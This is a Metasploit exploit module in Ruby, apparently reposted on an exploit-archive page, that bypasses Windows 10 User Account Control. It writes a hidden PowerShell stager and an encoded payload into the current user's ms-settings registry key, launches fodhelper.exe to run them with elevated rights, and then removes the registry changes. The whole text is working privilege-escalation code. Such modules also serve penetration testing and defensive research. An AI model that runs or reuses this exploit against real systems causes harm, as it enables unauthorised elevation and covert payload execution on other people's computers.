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Windows UAC Protection Bypass (Via FodHelper Registry Key)

Posted on 08 June 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Exploit::Powershell
include Post::Windows::Priv
include Post::Windows::Registry
include Post::Windows::Runas

FODHELPER_DEL_KEY = "HKCU\Software\Classes\ms-settings".freeze
FODHELPER_WRITE_KEY = "HKCU\Software\Classes\ms-settings\shell\open\command".freeze
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
FODHELPER_PATH = "%WINDIR%\System32\fodhelper.exe".freeze
CMD_MAX_LEN = 16383

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
'Description' => %q{
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
the current user hive, and inserting a custom command that will get invoked when
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
flag turned off.

This module modifies a registry key, but cleans up the key once the payload has
been invoked.

The module does not require the architecture of the payload to match the OS. If
specifying EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
},
'License' => MSF_LICENSE,
'Author' => [
'winscriptingblog', # UAC bypass discovery and research
'amaloteaux', # MSF module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' => [
[
'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/',
'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'
]
],
'DisclosureDate' => 'May 12 2017'
)
)
end

def check
if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
commspec = '%COMSPEC%'
registry_view = REGISTRY_VIEW_NATIVE
psh_path = "%WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe"

# Make sure we have a sane payload configuration
if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
# fodhelper.exe is x64 only exe
commspec = '%WINDIR%\Sysnative\cmd.exe'
if target_arch.first == ARCH_X64
# We can't use absolute path here as
# %WINDIR%\System32 is always converted into %WINDIR%\SysWOW64 from a x86 session
psh_path = "powershell.exe"
end
end
if target_arch.first == ARCH_X86
# Invoking x86, so switch to SysWOW64
psh_path = "%WINDIR%\SysWOW64\WindowsPowershell\v1.0\powershell.exe"
end
else
# if we're on x86, we can't handle x64 payloads
if target_arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
end
end

if !payload.arch.empty? && (payload.arch.first != target_arch.first)
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
end

# Validate that we can actually do things before we bother
# doing any more work
check_permissions!

case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end

payload_value = rand_text_alpha(8)
psh_path = expand_path(psh_path)

template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)

if psh_payload.length > CMD_MAX_LEN
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
end

psh_stager = ""IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}""
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"

existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?

if existing.empty?
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
end

print_status("Configuring payload and stager registry keys ...")
unless exist_delegate
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
end

registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)

# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
cmd_path = expand_path(commspec)
cmd_args = expand_path("/c #{FODHELPER_PATH}")
print_status("Executing payload: #{cmd_path} #{cmd_args}")

# We can't use cmd_exec here because it blocks, waiting for a result.
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })

# Wait a copule of seconds to give the payload a chance to fire before cleaning up
# TODO: fix this up to use something smarter than a timeout?
Rex::sleep(5)

handler(client)

print_status("Cleaining up registry keys ...")
unless exist_delegate
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
end
if existing.empty?
registry_deletekey(FODHELPER_DEL_KEY, registry_view)
else
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
end
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
end

def check_permissions!
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

# Check if you are an admin
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?

unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end

unless is_in_admin_group?
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end

print_status('UAC is Enabled, checking level...')
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end

if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end

 

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